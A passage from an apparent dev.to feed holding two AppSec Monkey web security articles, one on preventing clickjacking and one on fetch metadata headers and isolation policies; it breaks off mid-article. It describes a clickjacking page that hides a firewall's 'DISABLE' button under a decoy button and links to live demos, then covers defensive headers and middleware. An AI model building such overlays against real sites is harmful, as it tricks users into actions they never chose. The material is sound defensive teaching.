&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg9qdbz1eeothwzxoyq30.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg9qdbz1eeothwzxoyq30.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The attacker will create a page that shows a button "CLICK ME" and then overlays the target application on top of the button. Instead of clicking the "CLICK ME" button, the user will unwittingly click the "DISABLE" button on the firewall management page.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://lbgq0.csb.app/" rel="noopener noreferrer"&gt;Here&lt;/a&gt; is the attacker page with a little bit of opacity to show how it works.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8sxva40pr5wvml59lgrb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8sxva40pr5wvml59lgrb.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://wjunr.csb.app/" rel="noopener noreferrer"&gt;Here&lt;/a&gt; is the final attack, where the frame is entirely invisible. Try to click the button and then scroll back up to the firewall page. Observe how the firewall has been disabled.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2agbh4l6x8wsaxbzxwbo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2agbh4l6x8wsaxbzxwbo.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcgc5kscur6dfyj4nle0m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcgc5kscur6dfyj4nle0m.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can fork and play around with the demo &lt;a href="https://codesandbox.io/s/clickjacking-demo-tw1go?file=/public/index.html" rel="noopener noreferrer"&gt;here&lt;/a&gt; and the attack &lt;a href="https://codesandbox.io/s/clickjacking-demo-opacity-lbgq0" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preventing clickjacking attacks
&lt;/h2&gt;

&lt;p&gt;The only way to prevent clickjacking attacks is to block other websites from framing your website. There are a couple of ways to do this.&lt;/p&gt;

&lt;h3&gt;
  
  
  X-Frame-Options header
&lt;/h3&gt;

&lt;p&gt;You can use the &lt;code&gt;X-Frame-Options&lt;/code&gt; HTTP response header to tell browsers not to frame your website at all.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;X-Frame-Options&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;DENY&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Alternatively, you could only allow framing but only from your website.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;X-Frame-Options&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SAMEORIGIN&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;However, &lt;code&gt;X-Frame-Options&lt;/code&gt; cannot be used to allow specific websites to frame your website and is being obsoleted by &lt;code&gt;Content-Security-Policy&lt;/code&gt;. Read more &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;For details on &lt;code&gt;X-Frame-Options&lt;/code&gt; browser support see &lt;a href="https://appsecmonkey.com/browser-support/x-frame-options" rel="noopener noreferrer"&gt;this page&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Content-Security-Policy
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;Content-Security-Policy&lt;/code&gt; HTTP response header has a directive called &lt;code&gt;frame-ancestors&lt;/code&gt; which you can use to prevent the framing of your website.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Content-Security-Policy&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;...other options... frame-ancestors 'none'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or, just like with &lt;code&gt;X-Frame-Options&lt;/code&gt; you could allow your website to frame itself like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Content-Security-Policy&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;...other options... frame-ancestors 'self'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The main benefit of using CSP instead of &lt;code&gt;X-Frame-Options&lt;/code&gt; is that you can also allow specific external websites to frame your website.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Content-Security-Policy&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;...other options... frame-ancestors https://foo.example&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Read more about CSP and &lt;code&gt;frame-ancestors&lt;/code&gt; &lt;a href="https://appsecmonkey.com/blog/csp#frame-ancestors" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;For up-to-date status of the browser support for &lt;code&gt;frame-ancestors&lt;/code&gt;, check &lt;a href="https://appsecmonkey.com/browser-support/content-security-policy#frame-ancestors" rel="noopener noreferrer"&gt;this page&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Isolation Policy
&lt;/h3&gt;

&lt;p&gt;The third way to prevent framing is to implement an isolation policy with fetch metadata headers. However, fetch metadata is not yet supported by all browsers. As such, you must also implement either &lt;code&gt;X-Frame-Options&lt;/code&gt; or &lt;code&gt;Content-Security-Policy&lt;/code&gt; with &lt;code&gt;frame-ancestors&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To implement an isolation policy that prevents framing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Create a middleware class that filters HTTP requests based on their headers.&lt;/li&gt;
&lt;li&gt;Based on the fetch metadata request headers, block requests that come from other websites.&lt;/li&gt;
&lt;li&gt;If you also want to block your website from framing itself, also block all navigation requests that are not destined to a document.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I understand this sounds a little bit abstract if you aren't familiar with fetch metadata headers. &lt;a href="https://appsecmonkey.com/blog/fetch-metadata" rel="noopener noreferrer"&gt;Here&lt;/a&gt; is an entire article about the topic with a complete example that you can run on CodeSandbox.&lt;/p&gt;

&lt;p&gt;For up-to-date status of the browser support for fetch metadata headers, check &lt;a href="https://appsecmonkey.com/browser-support/fetch-metadata" rel="noopener noreferrer"&gt;this page&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Clickjacking attacks are a real threat to web applications. The only way to prevent them is not to allow other websites to frame your web application.&lt;/p&gt;

&lt;p&gt;Luckily browsers enable us to do this. The most important defense is to deploy an &lt;code&gt;X-Frame-Options&lt;/code&gt; or a &lt;code&gt;Content-Security-Policy&lt;/code&gt; header that blocks framing.&lt;/p&gt;

&lt;p&gt;You can achieve a nice additional defense layer by blocking requests to frames on the server-side by implementing an isolation policy with fetch metadata headers.&lt;/p&gt;

&lt;h2&gt;
  
  
  Get the web security checklist spreadsheet!
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://eepurl.com/hqAGt5" rel="noopener noreferrer"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3iqd1ef4a5a0icyvvk65.jpg" alt="Subscribe"&gt;&lt;/a&gt;&lt;br&gt;
 ☝️ &lt;a href="https://eepurl.com/hqAGt5" rel="noopener noreferrer"&gt;Subscribe&lt;/a&gt; to AppSec Monkey's email list, get our best content delivered straight to your inbox, and &lt;b&gt;get our 2021 Web Application Security Checklist Spreadsheet for FREE&lt;/b&gt; as a welcome gift!&lt;/p&gt;

&lt;h2&gt;
  
  
  Don't stop here
&lt;/h2&gt;

&lt;p&gt;If you like this article, check out the other application security guides we have on &lt;a href="https://www.appsecmonkey.com/" rel="noopener noreferrer"&gt;AppSec Monkey&lt;/a&gt; as well.&lt;/p&gt;

&lt;p&gt;Thanks for reading.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>security</category>
      <category>cybersecurity</category>
      <category>programming</category>
    </item>
    <item>
      <title>Fetch Metadata and Isolation Policies</title>
      <dc:creator>Teo Selenius</dc:creator>
      <pubDate>Tue, 30 Mar 2021 19:47:03 +0000</pubDate>
      <link>https://forem.com/appsecmonkey/fetch-metadata-and-isolation-policies-1bli</link>
      <guid>https://forem.com/appsecmonkey/fetch-metadata-and-isolation-policies-1bli</guid>
      <description>&lt;p&gt;Learn everything about the fetch metadata headers and how you can implement isolation policies to defend against various client-side attacks. You can read the original article &lt;a href="https://www.appsecmonkey.com/blog/fetch-metadata"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What are fetch metadata headers?
&lt;/h2&gt;

&lt;p&gt;Fetch metadata headers are a relatively new browser security feature that you can use in your web application to protect against client-side attacks like never before.&lt;/p&gt;

&lt;p&gt;The purpose of the headers is simple. They tell the web server about the context in which an HTTP request happened.&lt;/p&gt;

&lt;h3&gt;
  
  
  An example
&lt;/h3&gt;

&lt;p&gt;Here's Jim. He is logged in at &lt;code&gt;b.example&lt;/code&gt; with the cookie &lt;code&gt;SessionId=123&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--PxXI-n2d--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uar40zjh30z6c2qsdqqd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--PxXI-n2d--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uar40zjh30z6c2qsdqqd.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Say that there's a website &lt;code&gt;a.example&lt;/code&gt; that loads an image from &lt;code&gt;b.example&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Kgso05qS--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/51f3y8llro6nakhyur9e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Kgso05qS--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/51f3y8llro6nakhyur9e.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Without fetch metadata headers
&lt;/h3&gt;

&lt;p&gt;Before the fetch metadata headers existed, all the webserver saw when Jim opened &lt;code&gt;a.example&lt;/code&gt; was that someone with Jim's cookie loaded the image.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--2E1dtMQi--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fmedoxnhbvg0qrjg9cgk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--2E1dtMQi--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fmedoxnhbvg0qrjg9cgk.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On HTTP level it might look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="s"&gt;GET /cat.jpg HTTP/1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;b.example&lt;/span&gt;
&lt;span class="na"&gt;Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SessionId=123&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that the server has no way to know whether it's &lt;code&gt;a.example&lt;/code&gt; or &lt;code&gt;b.example&lt;/code&gt; loading the image with Jim's session ID.&lt;/p&gt;

&lt;h3&gt;
  
  
  With fetch metadata headers
&lt;/h3&gt;

&lt;p&gt;With fetch metadata headers supported, the browser will send more information in the request to the webserver.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ICitJSyY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vosnt26s1vn9mt7h7wib.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ICitJSyY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vosnt26s1vn9mt7h7wib.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On HTTP level, it might look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="s"&gt;GET /cat.jpg HTTP/1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;b.example&lt;/span&gt;
&lt;span class="na"&gt;Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SessionId=123&lt;/span&gt;
&lt;span class="na"&gt;Sec-Fetch-Dest&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;image&lt;/span&gt;
&lt;span class="na"&gt;Sec-Fetch-Mode&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;no-cors&lt;/span&gt;
&lt;span class="na"&gt;Sec-Fetch-Site&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cross-site&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice how the browser told the webserver three new things this time:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The request originated from an image element.&lt;/li&gt;
&lt;li&gt;The request's &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Request/mode"&gt;mode&lt;/a&gt; (that this was a resource load as opposed to, e.g., navigation).&lt;/li&gt;
&lt;li&gt;The request originated from another website.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Actually there is a fourth thing implied in the request as well. The lack of &lt;code&gt;Sec-Fetch-User&lt;/code&gt; header implies that the request didn't originate as a result of user interaction.&lt;/p&gt;

&lt;h2&gt;
  
  
  What attacks fetch metadata headers prevent?
&lt;/h2&gt;

&lt;p&gt;Fetch metadata headers can &lt;em&gt;help&lt;/em&gt; prevent pretty much any cross-site attack. These include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://appsecmonkey.com/blog/xss"&gt;XSS (Cross-Site Scripting) Attacks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://appsecmonkey.com/blog/csrf"&gt;CSRF (Cross-Site Request Forgery) Attacks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://appsecmonkey.com/blog/xs-leaks"&gt;Various XS-leaks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://portswigger.net/research/json-hijacking-for-the-modern-web"&gt;XSSI (Cross-Site Script Inclusion) Attacks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developers.google.com/web/updates/2018/02/meltdown-spectre"&gt;Spectre&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://portswigger.net/web-security/clickjacking"&gt;Clickjacking&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Fetch metadata headers
&lt;/h2&gt;

&lt;p&gt;The system consists of four HTTP request headers.&lt;/p&gt;

&lt;h3&gt;
  
  
  Sec-Fetch-Site
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;Sec-Fetch-Site&lt;/code&gt; header tells the webserver if the request originated from the same origin, the same site, or a different website entirely. It can have one of the following values:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;same-origin&lt;/code&gt;: The request came from the same &lt;em&gt;origin&lt;/em&gt;, that is, the &lt;em&gt;host&lt;/em&gt;, &lt;em&gt;port&lt;/em&gt;, and &lt;em&gt;scheme&lt;/em&gt; were identical. You can read more about what origin means &lt;a href="https://appsecmonkey.com/blog/same-origin-policy"&gt;here&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;same-site&lt;/code&gt;: The request came from a different origin but from the same &lt;em&gt;site&lt;/em&gt;, which is browser lingo for &lt;em&gt;subdomain of the same registrable domain&lt;/em&gt;. For example: &lt;code&gt;https://a.example.com&lt;/code&gt; and &lt;code&gt;https://b.example.com&lt;/code&gt; are considered same-site (but different origin).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;cross-site&lt;/code&gt;: The request came from a different website completely. For example, &lt;code&gt;www.google.com&lt;/code&gt; and &lt;code&gt;www.facebook.com&lt;/code&gt; are considered cross-site.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;none&lt;/code&gt;: The request didn't originate from any website. This happens when the user opens a bookmark, types manually in the URL bar, opens a link from another program, etc.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Sec-Fetch-Mode
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;Sec-Fetch-Mode&lt;/code&gt; tells the webserver the request's &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Request/mode"&gt;mode&lt;/a&gt;. It can have one of the following values:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;same-origin&lt;/code&gt;: The browser is making a request to the same origin. Requests using this mode will fail if the target is of a different origin.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;no-cors&lt;/code&gt;: The browser is making a request to another origin but doesn't expect to read the response or use any non-safelisted HTTP verbs or headers.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;cors&lt;/code&gt;: The browser attempts to make a CORS (Cross-Origin Resource Sharing) request. You can read more about CORS &lt;a href="https://appsecmonkey.com/blog/cors"&gt;here&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;navigate&lt;/code&gt;: The browser is navigating from one page to another, such as when clicking a link, receiving a redirect, or opening a bookmark.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Sec-Fetch-Dest
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;Sec-Fetch-Dest&lt;/code&gt; tells the webserver the request's destination, that is, what kind of place is waiting for the resource. In the example above, it was an &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; element loading the resource, so the destination was &lt;code&gt;image&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Some of the possible values are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;empty&lt;/code&gt;: When the resource is loaded via &lt;code&gt;fetch()&lt;/code&gt; or XHR.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;document&lt;/code&gt;: When the resource is loaded in top-level navigation.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;image&lt;/code&gt;: When the resource is loaded in an &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;worker&lt;/code&gt;: When the resource is loaded via &lt;code&gt;new Worker(...)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;iframe&lt;/code&gt;: When the resource is loaded into an &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The value can be any element capable of loading an external resource, so also &lt;code&gt;audio&lt;/code&gt;, &lt;code&gt;audioworklet&lt;/code&gt;, &lt;code&gt;embed&lt;/code&gt;, &lt;code&gt;font&lt;/code&gt;, &lt;code&gt;frame&lt;/code&gt;, &lt;code&gt;manifest&lt;/code&gt;, &lt;code&gt;object&lt;/code&gt;, &lt;code&gt;paintworklet&lt;/code&gt;, &lt;code&gt;report&lt;/code&gt;, &lt;code&gt;script&lt;/code&gt;, &lt;code&gt;serviceworker&lt;/code&gt;, &lt;code&gt;sharedworker&lt;/code&gt;, &lt;code&gt;style&lt;/code&gt;, &lt;code&gt;track&lt;/code&gt;, &lt;code&gt;video&lt;/code&gt;, &lt;code&gt;xslt&lt;/code&gt;, etc. are possible.&lt;/p&gt;

&lt;h3&gt;
  
  
  Sec-Fetch-User
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;Sec-Fetch-User&lt;/code&gt; header tells the webserver a navigation request originated (in theory) due to user interaction, such as by clicking a link. The value is always &lt;code&gt;?1&lt;/code&gt;. When navigation occurs as a result of something that browsers don't consider "user activation", this header is not sent at all.&lt;/p&gt;

&lt;h2&gt;
  
  
  Browser support
&lt;/h2&gt;

&lt;p&gt;At the time of this writing, fetch metadata headers are supported on Chrome, Edge, and Opera. But don't worry, you can implement a policy in a fully backward-compatible way. You can check the up-to-date status &lt;a href="https://www.appsecmonkey.com/browser-support/fetch-metadata"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Implementing an isolation policy
&lt;/h2&gt;

&lt;p&gt;The reason fetch metadata headers are so fantastic is that they allow us to do this.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--1WLpW-uN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/513623sjjinovl2v1aje.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--1WLpW-uN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/513623sjjinovl2v1aje.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Blocking a request on the server-side based on the client-side context is a power that we've never had before. But now we do, so let's use it and implement an &lt;em&gt;isolation policy&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;To create an isolation policy, you need a filter, middleware, etc., that enables you to block requests based on the HTTP request headers.&lt;/p&gt;

&lt;p&gt;I will use NodeJS as an example, but such middleware is usually trivial to implement in any development framework.&lt;/p&gt;

&lt;p&gt;We'll start with this skeleton:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  1. Backward compatibility
&lt;/h3&gt;

&lt;p&gt;Begin your policy by allowing requests that don't have the fetch metadata headers at all. Otherwise, people using browsers that don't yet support fetch metadata wouldn't be able to access your website.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sec-fetch-site&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sec-fetch-mode&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sec-fetch-dest&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2. Allow all requests from the same origin
&lt;/h3&gt;

&lt;p&gt;To make your application work properly, allow all interactions from the same origin.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
